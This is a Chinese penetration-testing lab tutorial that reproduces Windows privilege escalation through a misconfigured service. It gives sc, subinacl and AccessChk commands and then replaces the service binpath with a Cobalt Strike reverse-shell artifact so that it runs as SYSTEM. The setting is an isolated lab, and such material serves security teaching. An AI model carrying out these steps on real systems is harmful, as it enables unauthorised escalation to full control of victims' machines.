关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客
0x01:系统服务权限配置错误提权原理
通常 Windows 服务都是以 System 权限运行的,若系统管理员错误配置导致低权限用户可以对某些服务修改时,就可能造成提权漏洞。攻击者可以通过修改服务启动文件的路径 ”binpath“,将其替换为恶意程序的路径,这样服务启动时便会以 SYSTEM 权限运行恶意程序。
0x02:系统服务权限配置错误提权环境配置
复现环境
靶机 Windows 7:IP 192.168.0.130
攻击机 Kali Linux:IP 192.168.0.100,安装了 Cobalt Strike 服务端
攻击机 Windows 11:IP 192.168.0.1,安装了 Cobalt Strike 客户端,还配备了 C++ 环境
0x0201:创建 Windows 服务程序
以 Administrator 系统最高管理员身份登录 Windows 7 靶机中,打开 CMD 窗口,输入下面的命令创建一个 WIndows 服务程序:
- # 随便创建的,testServer.exe 其实不存在
- sc create testService binpath= "C:\testServer.exe"
0x0202:查询系统服务信息
按住 Win + R 打开 “运行” 对话框,往里头填入 “services.msc” 命令即可调用 Windows 服务功能:
然后在该功能中,我们可以很轻松的就定位到我们刚刚创建的 testService 服务,证明我们前面的命令没有错误:
0x0203:使用 subinacl 给服务设置权限
工具获取:subinacl.zip
将 subinacl.zip 上传到 Windows 7 靶机中(可以通过拖动,也可以通过 Python 的临时 HTTP 服务实现,怎么上传看自己喜好),并在对应的上传目录下打开 CMD 窗口:
在继续操作前,先确保你本地的靶机环境中有一个低权限用户,笔者本机的是 test01 用户,如果没有,你可以通过下面的命令添加一个:
- net user test01 admin@123 /add
-
- # test01 是创建的用户名
- # admin@123 是该用户对应的密码
转到刚刚的 CMD 窗口,输入下面的命令使用 subinacl 工具给 test01 用户赋予对 testService 服务的完全控制权限:
- subinacl /service testService /grant=test01=F
-
- # /service testService , 指定 testService 服务
- # /grant=test01=F ,授予 test01 F 权限,F 即 Full,完全控制权限
至此,“不安全的服务” 提权环境准备完毕。
0x03:系统服务权限配置错误提权漏洞复现
0x0301:拿到靶机低权限用户 Shell
首先让靶机的一个低权限用户上线 CS,这里笔者是通过 CS 的 Windows 恶意程序上线靶机的 test01 用户的:
如上,拿到靶机中的一个低权限账户的 Shell,下面我们开始通过 “系统服务权限配置错误” 进行提权。
0x0302:发现配置不当的服务
工具获取:AccessChk.zip
这里我们需要借助 AccessChk 工具来快速发现 Windows 中配置不当的服务。AccessChk 可以了解特定用户对组对资源的访问权限,包括文件、目录、注册表项、全局对象和 Windows 服务,下面是该工具的用法简介:
用法介绍 | 命令 |
---|---|
查看用户/用户组对文件文件夹的权限 | accesschk 用户/用户组 文件/文件夹 |
列出所有服务的权限 | accesschk -ucqv * |
查看用户/用户组具有写权限的服务 | accesschk 用户/用户组 -cw * |
将 AccessChk.exe 工具上传到靶机后,执行如下命令(test01 是我们当前拿到 Shell 的用户名称):
- accesschk test01 -cw * /accepteula
-
- # test01 => 要检查权限的用户组或者用户名称
- # -cw => -c 表示检查 Windows 服务,-w 表示具有 "写权限" 的服务
- # * => 代表系统中的所有服务
- # /accepteula => 自动接收 Sysinternals 工具的最终用户许可协议(EULA)
如上,可以看到,我们当前拿到的用户,对 testService 服务具有读写权限。
0x0303:更改系统服务路径
接下来,输入如下命令,更改 testService 服务的启动文件为我们制作好的反弹 Shell 的脚本(通过 CS 制作的):
sc config testService binpath= "C:\Users\test01\Desktop\artifact.exe"
如上,成功把服务的启动文件篡改为了我们的后门文件。
0x0304:手动启动服务 & 提权
输入下面的命令,启动 testService 服务(因为在前面的配置中,我们授予了低权限用户对服务的完全掌控权,所以该用户也可以自己启动服务):
sc start testService
如上,当我们启动服务时,系统会以 System 身份运行我们的木马程序,导致成功提权。



评论记录:
回复评论: